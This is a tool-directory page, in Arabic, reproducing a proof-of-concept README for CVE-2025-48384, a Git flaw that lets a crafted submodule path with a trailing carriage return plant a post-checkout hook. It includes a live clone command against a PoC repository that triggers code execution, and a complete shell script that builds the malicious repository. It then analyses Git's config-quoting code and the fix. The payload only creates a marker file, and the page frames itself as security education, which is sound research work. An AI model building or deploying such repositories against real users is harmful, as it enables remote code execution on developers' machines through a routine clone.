Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-48384 — إثبات المفهوم لـ CVE-2025-48384 | Kitploit
أدوات/GitHubGitHub/ik-20211125/cve-2025-48384
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن سلسلة التوريدالتعلم والتعليمتطوير الحمولات
GitHubik-20211125/cve-2025-48384

CVE-2025-48384

إثبات المفهوم لـ CVE-2025-48384

عرض المستودع
16منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-48384 PoC

ملاحظات

تم إنشاء هذا المستودع لأغراض التعليم الأمني.
يرجى عدم إساءة استخدامه.

نظرًا لأن هذه الثغرة تتطلب تضمين \r في اسم الدليل،
فإن أنظمة Linux/Unix هي المتأثرة.

فيما يلي إصدارات Git المتأثرة.

  • سلسلة v2.43.x -> أقل من v2.43.7
  • سلسلة v2.44.x -> أقل من v2.44.4
  • سلسلة v2.45.x -> أقل من v2.45.4
  • سلسلة v2.46.x -> أقل من v2.46.4
  • سلسلة v2.47.x -> أقل من v2.47.3
  • سلسلة v2.48.x -> أقل من v2.48.2
  • سلسلة v2.49.x -> أقل من v2.49.1
  • سلسلة v2.50.x -> أقل من v2.50.1

للتحقق عن بُعد

تتحقق RCE أيضًا عند استنساخ هذا المستودع باستخدام الأمر التالي.
※ يُرجى توخي الحذر الشديد عند التنفيذ.

root@kitploit:~
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384

سيتم تنفيذ الأمر الموجود داخل post-checkout في مستودع الوحدة الفرعية التالي.

  • IK-20211125/sub
root@kitploit:~
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384

سكربت ShellScript للتحقق محليًا

root@kitploit:~
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"

git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules

ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone

تم إنشاؤه بالاستناد إلى هذا. تم إجراء تغييرين:

  1. التعديل ليتوافق مع zsh
  2. حذف ما يلي
root@kitploit:~
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

التحقيق الفني

لماذا تنجح RCE؟

أولاً، بخصوص سبب تحقق RCE،
تستغل هذه الثغرة الميزة القياسية في Git المسماة hooks.

لتبسيط شرح مفهوم hooks،
فهي «ميزة تتيح تنفيذ سكربتات مُعدة مسبقًا عند حدوث أحداث معينة (مثل عمليات الالتزام commit وغيرها)».

تستغل هذه الثغرة ملفًا يُسمى post-checkout داخل .git، ويتم تنفيذه عند إجراء checkout.

ومع ذلك، نظرًا لأن هذا الملف لا يُدار إلا محليًا في الأساس، فإن مجرد استنساخ مستودع من GitHub،
لا يسمح للمهاجم بالتدخل فيه بطبيعة الحال.

يتم تجاوز هذا القيد باستغلال معالجة Git لـ\r،
ويتم تحقيق RCE بوضع ملف post-checkout تعسفي في ./.git/modules/sub/hooks/ على الجهاز المحلي.


لماذا يمكن وضع post-checkout في hooks؟

يتم استغلال معالجة Git لـ\r.

سأشرح ذلك ببساطة وفقًا لآلية عمل Git.

أولاً، يتم استنساخ المستودع البعيد من GitHub إلى الجهاز المحلي باستخدام git clone --recursive {url}.
(تؤدي إضافة --recursive إلى استنساخ الوحدات الفرعية في الوقت نفسه.)
وعندها، يتم تفريغ الوحدة الفرعية القادمة من url في الدليل المحدد بواسطة المعامل path داخل .gitmodules.

root@kitploit:~
[submodule "sub"]
	url = https://github.com/IK-20211125/sub.git
	path = "sub"

يتم التلاعب باسم الدليل في المعامل path كما يلي:

root@kitploit:~
    path = "sub\r"

أيضًا، يجب تسمية دليل الوحدة الفرعية داخل المستودع باسم sub\r.

عند تنفيذ git clone --recursive بهذا الشكل،
سيحاول Git تفريغ الوحدة الفرعية من url في الدليل sub\r وفقًا للمعامل path داخل .gitmodules.
(إذا لم يكن هناك دليل مطابق للمعامل path داخل .gitmodules، فلن يتم تفريغ الوحدة الفرعية.)

لكن Git لا يعتمد على قيمة path في .gitmodules لتحديد الوجهة النهائية لتفريغ الوحدة الفرعية.
بل إنه يعتمد في النهاية على المعامل المسمى worktree داخل ملف .git/modules/sub/config.
تتم كتابة هذا المعامل بناءً على قيمة path في .gitmodules.

وهذه الكتابة هي النقطة المهمة.
عند كتابة path = "sub\r" في المعامل worktree داخل .git/modules/sub/config، ستكون النتيجة كما يلي:

root@kitploit:~
[core]
    workdir = ../../../sub\r

النقطة المهمة هنا هي أن القيمة غير محاطة بعلامتي اقتباس مزدوجتين.

root@kitploit:~
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
       [...]

       /*
         * Check to see if the value needs to be surrounded with a dq pair.
         * Note that problematic characters are always backslash-quoted; this
         * check is about not losing leading or trailing SP and strings that
         * follow beginning-of-comment characters (i.e. ';' and '#') by the
         * configuration parser.
         */
        if (value[0] == ' ')
                quote = "\"";
        for (i = 0; value[i]; i++)
                if (value[i] == ';' || value[i] == '#')
                        quote = "\"";
        if (i && value[i - 1] == ' ')
                quote = "\"";

        strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);

تُحاط القيمة بعلامتي اقتباس مزدوجتين فقط إذا احتوت على مسافة في موضع معين،
أو إذا احتوت على ; أو # في أي موضع،
أما في حالة \r، فلا تُحاط بعلامتي اقتباس مزدوجتين.

وعندما لا تكون القيمة محاطة بعلامتي اقتباس مزدوجتين، لن يقيّم Git علامة \r الموجودة في النهاية.

لذلك، ستكون وجهة تفريغ الوحدة الفرعية هي ../../../sub.

ونظرًا لأن اسم الوحدة الفرعية هو sub\r، فمن الممكن إنشاء ملف بأي شكل كان بالاسم sub (لعدم وجود تعارض في الأسماء).

يتم وضع رابط رمزي هنا، لتغيير وجهة تفريغ الوحدة الفرعية إلى ./.git/modules/sub/hooks/.

root@kitploit:~
sub -> .git/modules/sub/hooks

بهذه الطريقة، يمكن وضع post-checkout، وهو ملف السكربت الخاص بالمهاجم والموجود داخل الوحدة الفرعية،
في ./.git/modules/sub/hooks/ على جهاز الضحية، وبالتالي سيتم تنفيذه عند إجراء checkout.


النقطة المهمة

يعود سبب نجاح هذا الهجوم إلى اختلاف معالجة Git لعلامة \r:

  • عند قراءة Git لملف .gitmodules، تكون القيمة محاطة بعلامتي اقتباس مزدوجتين، لذلك يتم تقييم \r.
  • أما عند قراءة Git لملف .git/modules/sub/config، فالقيمة غير محاطة بعلامتي اقتباس مزدوجتين، لذلك لا يتم تقييم \r.

الإصلاح

في إصدارات Git التي تم إصلاح هذه الثغرة فيها، تم إجراء التغيير التالي:
(تم تعديل السلوك بحيث تُحاط القيمة بعلامتي اقتباس مزدوجتين إذا كانت تحتوي على \r)

root@kitploit:~
	if (value[0] == ' ')
		quote = "\"";
	for (i = 0; value[i]; i++)
		if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
			quote = "\"";
	if (i && value[i - 1] == ' ')
		quote = "\"";

https://github.com/git/git/blob/master/config.c#L2938


ثغرات مشابهة

من الثغرات المشابهة: CVE-2024-32002.

تستهدف هذه الثغرة أنظمة الملفات التي لا تميز بين الأحرف الكبيرة والصغيرة (مثل Windows وmacOS)،
وتسمح للمهاجم بالتدخل في githooks عبر استخدام الروابط الرمزية، تمامًا كما هو الحال في CVE-2025-48384.

المقال التالي مفيد كمرجع:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002


المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2025-48384
  • https://github.com/acheong08/CVE-2025-48384/tree/main
  • https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384

※ إذا وردت أي أخطاء في تفسير المحتوى، يسعدنا تلقّي ملاحظاتكم.

تنزيل الأداة